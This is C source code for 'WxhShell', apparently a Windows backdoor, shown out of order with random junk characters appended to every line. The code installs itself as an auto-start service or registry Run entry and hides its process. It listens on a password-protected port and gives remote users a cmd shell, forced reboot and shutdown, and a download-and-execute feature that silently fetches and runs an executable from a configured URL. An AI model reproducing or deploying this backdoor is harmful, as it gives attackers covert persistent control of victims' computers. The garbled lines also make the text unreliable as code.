    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D5U\~'{L  
    else { ogQbST  
    closesocket(wsh); 4} =]QQoE  
    ExitThread(0); thUs%F.5?  
    } 1Z*-@%RX  
    break; #n0P'@d,r  
    } `U?;9!|;6  
  // 获取shell `cf&4Hn  
  case 's': {  |\,e9U>  
    CmdShell(wsh); }rOO[,?Y  
    closesocket(wsh); k^ID  
    ExitThread(0); 3+(Fq5I  
    break; .|_+>){$w  
  } rK"$@ tc  
  // 退出 F lbL`@4M  
  case 'x': { JQ0KXS Nr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YK_a37E{F  
    CloseIt(wsh); Bz ]64/  
    break; F"9q Bl~  
    } :%;K`w  
  // 离开 *6=[Hmygi  
  case 'q': { Hk.+1^?%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $~U_VQIA^  
    closesocket(wsh); yyBfLPXZ  
    WSACleanup(); 18|H  
    exit(1); oIf -s[uH  
    break; }`*]&I[P  
        } y"P$:l  
  } C2!POf;GdN  
  } qzmY]N+w|  
pn'*w 1i  
  // 提示信息 $s?q>Z)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bJGT^N@  
} x'n J_0  
  } 2uU~$7~N  
8th G-  
  return; szWh#O5=  
} W;u~}k<  
+tlTHK  
// shell模块句柄 m"jqHGFV  
int CmdShell(SOCKET sock) I~#'76L[  
{ ~6{;3"^<  
STARTUPINFO si; : h-N  
ZeroMemory(&si,sizeof(si)); nq A> }A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xgop1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xc`'i@FX  
PROCESS_INFORMATION ProcessInfo; X}g!Lp  
char cmdline[]="cmd"; &OWiA;e?f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FFP>Y*v(  
  return 0; ~` #t?1SP  
} op[OB=  
?JtFiw  
// 自身启动模式 Wh 8fC(BE  
int StartFromService(void) RqH"+/wR  
{ Rs5G5W@"A  
typedef struct nj #Ab  
{ &!m;s_gi  
  DWORD ExitStatus; 2h u;N  
  DWORD PebBaseAddress; :DQHb"(  
  DWORD AffinityMask; fWF\ V[  
  DWORD BasePriority; Q9?/)&3Bu  
  ULONG UniqueProcessId; A1Rt  
  ULONG InheritedFromUniqueProcessId; :`oYD  
}   PROCESS_BASIC_INFORMATION; +9,"ne1'e  
0xZq?9a  
PROCNTQSIP NtQueryInformationProcess; mu|#(u  
NDCZc_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hza{"I*^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i]xyD'0  
Exk[;lI  
  HANDLE             hProcess;  t\u0\l>  
  PROCESS_BASIC_INFORMATION pbi; lSl=6R  
> : \lDz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [%z~0\lu8  
  if(NULL == hInst ) return 0; P\N$TYeH  
 +'Tr>2V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JdFMSmZ@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zziujs:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R:Z{,R+  
Nn4<:2  
  if (!NtQueryInformationProcess) return 0;  |Pwb7:a3  
[2.pZB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4k<4=E  
  if(!hProcess) return 0; !<@k\~9^D  
B%cjRwOT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FZb\VUmnV  
A2$:p$[  
  CloseHandle(hProcess); !,INrl[  
~h  tV*R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |"vqM)V$  
if(hProcess==NULL) return 0; Y0aO/6  
Z!7#"wO9+V  
HMODULE hMod; U!^\DocAY  
char procName[255]; fMI4'.Od  
unsigned long cbNeeded; 5;C+K~Y  
jsfyNl? 6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w/E4wp  
W}.;]x%1B  
  CloseHandle(hProcess); WF-B=BRZ  
doVBVTk^  
if(strstr(procName,"services")) return 1; // 以服务启动 O0';j!?X  
BTgL:  
  return 0; // 注册表启动 69TQHJ[  
} Y)g<> }F  
kbBX\*{yh  
// 主模块 7bCTR2e\@w  
int StartWxhshell(LPSTR lpCmdLine) M[@).4h  
{ (X QgOR#  
  SOCKET wsl; & /UcFB  
BOOL val=TRUE; ?L+@?fVN  
  int port=0; a]BnHLx  
  struct sockaddr_in door; ;v*$6DIC5  
n3jA[p:  
  if(wscfg.ws_autoins) Install(); x]XhWScr '  
v-2.OS<o  
port=atoi(lpCmdLine); )9{?C4NQ  
K/ I3r_  
if(port<=0) port=wscfg.ws_port; p!|ok #sW  
K{t7_i#tv  
  WSADATA data; v/}M _E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wQlK[F]!>  
=>n:\_*M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xaAJ>0IM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k 2_ "  
  door.sin_family = AF_INET; 4:y;<8+j\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q --NLm@;  
  door.sin_port = htons(port); B/c_pRl;  
`GUj.+u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uhbo/7d'7  
closesocket(wsl); !2>gC"$nv  
return 1; t8E'd :pE  
} 6 80i?=z  
`6?r.;wj  
  if(listen(wsl,2) == INVALID_SOCKET) { >-c;  
closesocket(wsl); v|<Dc8i+  
return 1; 71m dU6Kq  
} blk ~r0.2  
  Wxhshell(wsl); :L&-  
  WSACleanup(); LoPWho[8  
$ThkK3  
return 0; LK)0g4{  
/E@LnKe  
} #3f\,4K5  
\\Fl,'  
// 以NT服务方式启动 r8pTtf#Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?9i 7w1`  
{ XTXRC$B  
DWORD   status = 0; q{[}*%  
  DWORD   specificError = 0xfffffff; ?r"m*fY%  
F'|D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xd!=1 ::  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Azxy!gDT"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .ss/E  
  serviceStatus.dwWin32ExitCode     = 0; j$4Tot  
  serviceStatus.dwServiceSpecificExitCode = 0; @=E@ *@g  
  serviceStatus.dwCheckPoint       = 0; /NNe/7'l  
  serviceStatus.dwWaitHint       = 0; D"El6<3)h  
5YQ4]/h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <2HI. @^  
  if (hServiceStatusHandle==0) return; =.#*MYB.l  
9(dbou  
status = GetLastError(); .-k\Q} D  
  if (status!=NO_ERROR) o;7!$v>uK  
{ LZqx6~]O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GE\@mu *pO  
    serviceStatus.dwCheckPoint       = 0; ,/BBG\mJ  
    serviceStatus.dwWaitHint       = 0;   lCr  
    serviceStatus.dwWin32ExitCode     = status; ;HlVU  
    serviceStatus.dwServiceSpecificExitCode = specificError; =q.2S; ?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3gQQ,V..  
    return; _8)9I?jH  
  } P#Z$+&)b)s  
L0/0<d(K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s_y Y,Z:  
  serviceStatus.dwCheckPoint       = 0; }Gqx2 )H  
  serviceStatus.dwWaitHint       = 0; }b ~;x6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MW=2GhD=  
} \(R(S!xr_  
^sY ]N77  
// 处理NT服务事件,比如:启动、停止 Q7gBxp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3+;]dqZ  
{ 79AOvh  
switch(fdwControl) hR Y *WL  
{ >j{phZ  
case SERVICE_CONTROL_STOP: DB-4S-2  
  serviceStatus.dwWin32ExitCode = 0; we9R4 *j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #qi@I;;t  
  serviceStatus.dwCheckPoint   = 0; m2AA:u_*j  
  serviceStatus.dwWaitHint     = 0; .h-:) e*  
  { (y7U}Sb'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B9`nV.a  
  } sa36=:5x-  
  return; w8:~LX.n  
case SERVICE_CONTROL_PAUSE: 1tHTjEG4^3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V lN&Lz  
  break; RcitW;{|Kg  
case SERVICE_CONTROL_CONTINUE: M$dDExd~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KGS=(z  
  break; /m%i"kki  
case SERVICE_CONTROL_INTERROGATE: kep.+t[  
  break; ~v$gk   
}; m/r4f279  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 C@iD%  
} ^|5bK_Z&  
)s4#)E1  
// 标准应用程序主函数 ,kfUlv=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |tC!`.^\  
{ m;)[gF  
$/ew'h9q  
// 获取操作系统版本 qP-*  
OsIsNt=GetOsVer(); ;?"2sS!AHQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K]yCt~A$  
J~9l+?  
  // 从命令行安装 yf(VwU, x  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?ntyF-n&  
yeqZPz n  
  // 下载执行文件 J'`,];su  
if(wscfg.ws_downexe) { (0g@Z `r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YQxVeS(  
  WinExec(wscfg.ws_filenam,SW_HIDE); sqFMO+  
} ";AM3  
PXz,[<ET?#  
if(!OsIsNt) { hJ 4]GA'  
// 如果时win9x,隐藏进程并且设置为注册表启动 zFmoo4P/  
HideProc(); RNE} )B  
StartWxhshell(lpCmdLine); kaQn'5  
} RR>Q$ K  
else 8*V^DM3n-  
  if(StartFromService()) Jf{6'Ub  
  // 以服务方式启动 rwGY)9 |  
  StartServiceCtrlDispatcher(DispatchTable); 73OFFKbsk  
else 8Ih+^Y a  
  // 普通方式启动 Rm`_0}5  
  StartWxhshell(lpCmdLine); N|Mzj|i.  
HWG5Ghu8,)  
return 0; )<-\ F%&b  
} Eqj&SA  
/DA'p[,  
6 6WAD$8$  
Ll\y2oJ  
=========================================== RZi]0l_A'  
}D j W  
QL%&b\K  
&$ZJfHD@  
,E2Tw-%  
xhLVLXZ9  
" ]p~w`_3v  
i7v> 9p7  
#include <stdio.h> BR*,E~%  
#include <string.h> l?LwQmq6  
#include <windows.h> oY{L0B[  
#include <winsock2.h> *}DCxv  
#include <winsvc.h> &[ejxK"  
#include <urlmon.h> Cg^=&1 |  
Sa7bl~p\  
#pragma comment (lib, "Ws2_32.lib") g0NtM%  
#pragma comment (lib, "urlmon.lib") s ki'I  
J@ZIW%5  
#define MAX_USER   100 // 最大客户端连接数 60(j[d-$p  
#define BUF_SOCK   200 // sock buffer LK5, GWF;  
#define KEY_BUFF   255 // 输入 buffer h BD .IB  
]E$h7I  
#define REBOOT     0   // 重启 b7 %Z~  
#define SHUTDOWN   1   // 关机 {3cT\u  
yU]NgG=z:-  
#define DEF_PORT   5000 // 监听端口 /@-!JF#g  
Ey7SQb  
#define REG_LEN     16   // 注册表键长度 IIcG+zwx  
#define SVC_LEN     80   // NT服务名长度 UPQ?vh2F2  
da<B6!  
// 从dll定义API =0!PnBGYn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {2QCdj46  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mDZ/Kp{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L,6v!9@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eK[8$1  
AlF"1X02  
// wxhshell配置信息 Q |,(C0<G  
struct WSCFG { If[4]-dq  
  int ws_port;         // 监听端口 8>Az<EF^=#  
  char ws_passstr[REG_LEN]; // 口令 P]w5`aBM  
  int ws_autoins;       // 安装标记, 1=yes 0=no M,nX@8 _h  
  char ws_regname[REG_LEN]; // 注册表键名 X}x"+ #\<@  
  char ws_svcname[REG_LEN]; // 服务名 c&4EO|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C],"va  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =Ji+GJ <,9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;Qe-y|>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wj$l 093  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @$o.Z;83`r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &/o4R:i  
otTv,T182  
}; W>$2BsO  
jNRR=0  
// default Wxhshell configuration RN2^=$'.  
struct WSCFG wscfg={DEF_PORT, HoE@t-S  
    "xuhuanlingzhe", 5eS0 B{,c  
    1, U4`6S43ki  
    "Wxhshell", ;nS.t_UW.  
    "Wxhshell", lsJl+%&8  
            "WxhShell Service", V?pqKQL0  
    "Wrsky Windows CmdShell Service", vKrOIBP  
    "Please Input Your Password: ", K[{hh;7  
  1, 3azyqpwU$  
  "http://www.wrsky.com/wxhshell.exe", |qe[`x; %  
  "Wxhshell.exe" G':wJ7[]`  
    }; Q> OBK&'  
y~eQVnH5W  
// 消息定义模块 Xm#rkF[,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'YKyY:eZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J)7m::%I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s}3g+T\l1w  
char *msg_ws_ext="\n\rExit."; DAYR=s  
char *msg_ws_end="\n\rQuit."; /qf(5Bm  
char *msg_ws_boot="\n\rReboot..."; |AD" }8  
char *msg_ws_poff="\n\rShutdown..."; vlW521  
char *msg_ws_down="\n\rSave to "; ITpo:"X g  
)T2V< 3l  
char *msg_ws_err="\n\rErr!"; d'p]F~a  
char *msg_ws_ok="\n\rOK!"; \.!+'2!m  
v/ $~ifY"  
char ExeFile[MAX_PATH]; s0EF{2<F  
int nUser = 0; OGA_3|[S   
HANDLE handles[MAX_USER]; )67pBj  
int OsIsNt; sn>2dRW{  
OO$YwOKS  
SERVICE_STATUS       serviceStatus; 8s+9PE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lk/T| 0])  
vMD%.tk  
// 函数声明 9x4%M&<Z9a  
int Install(void); F"|OcKAA}h  
int Uninstall(void); 0[\sz>@  
int DownloadFile(char *sURL, SOCKET wsh); >]/RlW[  
int Boot(int flag); w^BF.Nu  
void HideProc(void); C_5o&O8Bc  
int GetOsVer(void); Ufw_GYxan  
int Wxhshell(SOCKET wsl);  Z|t`}lK  
void TalkWithClient(void *cs); D^m`&asC  
int CmdShell(SOCKET sock); . {\lbI  
int StartFromService(void); nr*nX  
int StartWxhshell(LPSTR lpCmdLine); yzH(\ x  
EU5^"\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4fR}+[~2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5)@UpcjUA  
=qWcw7!"  
// 数据结构和表定义 A-6><X's6  
SERVICE_TABLE_ENTRY DispatchTable[] = ./7*<W:  
{  m[>pv1o  
{wscfg.ws_svcname, NTServiceMain}, s:O8dL /  
{NULL, NULL} 4DwQ7KX  
}; !4Oj^yy%  
|!Uul0O  
// 自我安装 x^sSAI(  
int Install(void) eE=}^6)(*  
{ ;#)vw;XR  
  char svExeFile[MAX_PATH]; RA_gj lJi  
  HKEY key; ]cmq  
  strcpy(svExeFile,ExeFile); V7S[rI<<r  
FN+x<VXo(  
// 如果是win9x系统,修改注册表设为自启动 NsJ]Tp5!  
if(!OsIsNt) { $*\G Z$y>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /s~(? =qYH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u-/5&Endb  
  RegCloseKey(key); H6.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L\cb Y6b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !_P-?u  
  RegCloseKey(key); #{8t ?v l  
  return 0; +|K/*VVn`  
    } [gkOwU=?  
  } U,g)N[|  
} |a|##/  
else { S Bo i|  
0F5QAR O  
// 如果是NT以上系统,安装为系统服务 a#pM9n~a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -J& b~t@  
if (schSCManager!=0) W Te1E,M  
{ lj US-6  
  SC_HANDLE schService = CreateService \D5_g8m:  
  ( )k~{p;Ke  
  schSCManager, 1m{c8Z.h/d  
  wscfg.ws_svcname, dq4t@:\o0  
  wscfg.ws_svcdisp, O>c2*9PM  
  SERVICE_ALL_ACCESS, ^1\[hyZ!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hpBn_  
  SERVICE_AUTO_START, A+QOox]<  
  SERVICE_ERROR_NORMAL, Io*mFa?  
  svExeFile, b/]@G05>>  
  NULL, } Q1m  
  NULL, Fs_zNN  
  NULL, Ly~s84k_po  
  NULL, cT.8&EEW  
  NULL )e?6 Ncy  
  ); 6j6P&[  
  if (schService!=0) @xkI?vK6  
  {  m1#,B<6  
  CloseServiceHandle(schService); u-k!h  
  CloseServiceHandle(schSCManager); Ir?ehA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1i=p5,|  
  strcat(svExeFile,wscfg.ws_svcname); IKFNu9*"h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KB`">zq$u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8(@ Y@`/  
  RegCloseKey(key); '-2|GX_o  
  return 0; j"4]iI+{"  
    } hmES@^n!_  
  } NGp^/PZX0  
  CloseServiceHandle(schSCManager); }nt,DG!r  
} /I@`B2  
} k:0nj!^4w>  
*USzzLq  
return 1; XJguw/[wm  
} +rOfQ'lQ  
Pm=i(TBS/  
// 自我卸载 q+1SU6x'm  
int Uninstall(void)  0N`'a?x  
{ cHw-;  
  HKEY key; M1,1J-h  
Aw,#oG {N  
if(!OsIsNt) { o#frNT}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { omZ bn  
  RegDeleteValue(key,wscfg.ws_regname); Uv|^k8(  
  RegCloseKey(key); E>L_$J-A-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a-Ne!M[  
  RegDeleteValue(key,wscfg.ws_regname); 3IYbgUG  
  RegCloseKey(key); rrc>O*>{i  
  return 0; [W--%=Ou  
  } ]D\p<4uepM  
} +]S!pyZ"   
} tKLAA+Z  
else { be(p13&od  
|>Wi5h{6X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x-Fl|kwX.5  
if (schSCManager!=0) QV*W#K\7q  
{ qy,X#y'FuE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VK/i5yT5N  
  if (schService!=0) Y^ ti;:  
  { -FW'i10\2+  
  if(DeleteService(schService)!=0) { .{Df"e>  
  CloseServiceHandle(schService); >vk?wY^f  
  CloseServiceHandle(schSCManager); 9 Xx4,#?  
  return 0; S+M:{<AR  
  } n||!/u)*  
  CloseServiceHandle(schService); <^YZ#3~1T  
  } 3@^b's'S|}  
  CloseServiceHandle(schSCManager); !k0t (.  
} A]%hM_5s  
} E?^A+)<"  
mqv!"rk'w  
return 1; b1t7/q  
} bl-t>aO*.V  
("rIz8b  
// 从指定url下载文件 JrVBd hLr  
int DownloadFile(char *sURL, SOCKET wsh) fH[:S9@  
{ !|;w(/  
  HRESULT hr; M$AQZ')9  
char seps[]= "/"; ko<VB#pOMr  
char *token; pTzfc`~xv  
char *file; '$5o5\  
char myURL[MAX_PATH]; GcA!I!j/  
char myFILE[MAX_PATH]; a&~]77)  
)`gE-udR  
strcpy(myURL,sURL); #^;^_  
  token=strtok(myURL,seps); 8- ]7>2?_  
  while(token!=NULL) WA79(B  
  { G)wIxm$?0  
    file=token; "K$ y(}C  
  token=strtok(NULL,seps); \`:LPe  
  } ICI8xP}a?  
* S>,5R0k  
GetCurrentDirectory(MAX_PATH,myFILE); fP 5!`8  
strcat(myFILE, "\\"); dL!K''24{  
strcat(myFILE, file); p!w}hB598  
  send(wsh,myFILE,strlen(myFILE),0); oO)KhA?y  
send(wsh,"...",3,0); k%v/&ojI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,wlSNb@'  
  if(hr==S_OK) >`'>,n |  
return 0; )gq(  
else SsF 5+=A  
return 1; $/uNV1 ]o  
t?j2Rw3f`I  
} jw!QjVuRN%  
BA+:}81&<q  
// 系统电源模块 p; ZEz<M  
int Boot(int flag) Q|W!m0XO  
{ : j m|)  
  HANDLE hToken; 7OOod1  
  TOKEN_PRIVILEGES tkp; hT<:)MG)+K  
C JNz J(  
  if(OsIsNt) { % 1p4K)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |uE _aFQs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Pf]O'G&F  
    tkp.PrivilegeCount = 1; 4MOA}FZ~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,.+"10=N.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D3emO'`gQ  
if(flag==REBOOT) { vDAv/l9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pY9>z;qD  
  return 0; o ) FjWf;  
} _\Cd.  
else { y|+ltAK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y; eJo  
  return 0; ]Zf@NY  
} xR, ;^R|C  
  } R.)U<`||  
  else { !jDqRXi(  
if(flag==REBOOT) { :`ysq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w5(GRAH  
  return 0; Z0e+CEzq  
} HG%H@uK  
else { /fM6%V=Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jdYv*/^  
  return 0; f-tV8  
} 6)eU &5z1?  
} }PY? ZG  
g loo].z  
return 1; h;KI2k_^  
} {&c%VVZb:Z  
~;;_POm  
// win9x进程隐藏模块 O:a$ U:  
void HideProc(void) /z4xq'<  
{ xIo7f  
VrokEK*qbY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }m<)$.x|P  
  if ( hKernel != NULL ) dMwVgc:  
  { [vaG{4m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^IGTGY]s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H\3CvFm  
    FreeLibrary(hKernel); m(3bO[u1  
  }  1Nk}W!v  
vN7ihe[C  
return; {fMrx1  
} 'ej{B0rE  
Sg<''pUh  
// 获取操作系统版本 [<sBnHbvQ.  
int GetOsVer(void) ++13m*fA  
{ #U&G$E`7  
  OSVERSIONINFO winfo; uu>[WFh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 00G[ `a5  
  GetVersionEx(&winfo); ^aZ Wu|p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +>OEp * j  
  return 1; DZXv3gnX  
  else _pNUI {De  
  return 0; "7 )F";_(^  
} ryx<^q  
@ec QVk  
// 客户端句柄模块 r\[HR ^`  
int Wxhshell(SOCKET wsl) )M]4p6Y  
{ 't{=n[  
  SOCKET wsh; 5Tp n`2F  
  struct sockaddr_in client; |U^ ff^]  
  DWORD myID; 2uWzcy ?F  
5Kv=;o=U  
  while(nUser<MAX_USER) wrn[q{dX  
{ ?k_=?m  
  int nSize=sizeof(client); _'AIXez7q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9~,eu  
  if(wsh==INVALID_SOCKET) return 1; oUw-l_M]  
igz:ek`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Sjr(e}*  
if(handles[nUser]==0) `bT{E.(T  
  closesocket(wsh); HXdPKS4q  
else O|j5ulO}&"  
  nUser++; 8XJ%Yuu  
  } ^[%~cG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J7QlGm,=  
Y=3Y~  
  return 0; 1}8e@`G0.]  
} NE9e br K  
I/WnF"yP  
// 关闭 socket r 'jVF'w  
void CloseIt(SOCKET wsh) ^s5.jlZr@  
{ l.BSZhO$  
closesocket(wsh); 59^@K"J  
nUser--; '*3+'>   
ExitThread(0); iMp)g%Ng  
} 2 yP#:T/z  
Y\p yl  
// 客户端请求句柄 Lp ]d4"L;3  
void TalkWithClient(void *cs) ~82jL%-u  
{ (rw bF  
xJ&StN/'  
  SOCKET wsh=(SOCKET)cs; 82)d.>  
  char pwd[SVC_LEN]; ]K9 x<@!  
  char cmd[KEY_BUFF]; ;*Z w}51  
char chr[1]; ?>o39|M_w  
int i,j; LOida#R  
"W+4`A(/l  
  while (nUser < MAX_USER) { \R-u+ci$ZY  
NM8 F  
if(wscfg.ws_passstr) { Z@ws,f^e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v8%]^` '  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e#'`I^8l  
  //ZeroMemory(pwd,KEY_BUFF); KFV]2mFN  
      i=0; wqGZkFg1  
  while(i<SVC_LEN) { 2tr2:PB`  
pb{P[-f  
  // 设置超时 5e2m EQU>  
  fd_set FdRead; [ objdQU`  
  struct timeval TimeOut; t'Q48QAb?  
  FD_ZERO(&FdRead); _ _)Z Q  
  FD_SET(wsh,&FdRead); IeU.T@ $  
  TimeOut.tv_sec=8; x9_ Lt4  
  TimeOut.tv_usec=0; H7SqM D*y9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tcX7Ua(I`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 95!xTf  
"Z{^i3 gN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D\`$  
  pwd=chr[0]; W;-Qze\D  
  if(chr[0]==0xd || chr[0]==0xa) { u%h<5WNh<  
  pwd=0; _+;x 4K;  
  break; z{n=G  
  } S&=B&23T  
  i++; !X.N$0  
    } by06!-P0[  
_&z>Id`w  
  // 如果是非法用户,关闭 socket 0"QE,pLe4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7CIje=u.q  
} Zwt!nh   
8% |x)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gEe}xI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }%1E9u  
%d7iQZb>  
while(1) { ZbGyl}8ua  
isd[l-wAmf  
  ZeroMemory(cmd,KEY_BUFF); Ka{IueSs  
R #ZDB]2  
      // 自动支持客户端 telnet标准   NPc%}V&C(u  
  j=0; #YNb&K n  
  while(j<KEY_BUFF) { /d=$,q1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3|?fGT;P  
  cmd[j]=chr[0]; *m"mt  
  if(chr[0]==0xa || chr[0]==0xd) { 4YCGh  
  cmd[j]=0; ?eO|s5r  
  break; 8r|LFuI  
  } 1Jd:%+T  
  j++; 08` @u4  
    } @E)XT\;3  
^$L/Mv+  
  // 下载文件 zR .MXr  
  if(strstr(cmd,"http://")) { 7RLh#D|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]S[r$<r$  
  if(DownloadFile(cmd,wsh)) ZV U9t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kU Flp  
  else dg!sRm1iZ:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UEeqk"t^  
  } hnZHu\EJ  
  else { D[r  
J91`wA&r  
    switch(cmd[0]) { :d#NnR0^L  
  Kaa*;T![  
  // 帮助 /f[_]LeV]  
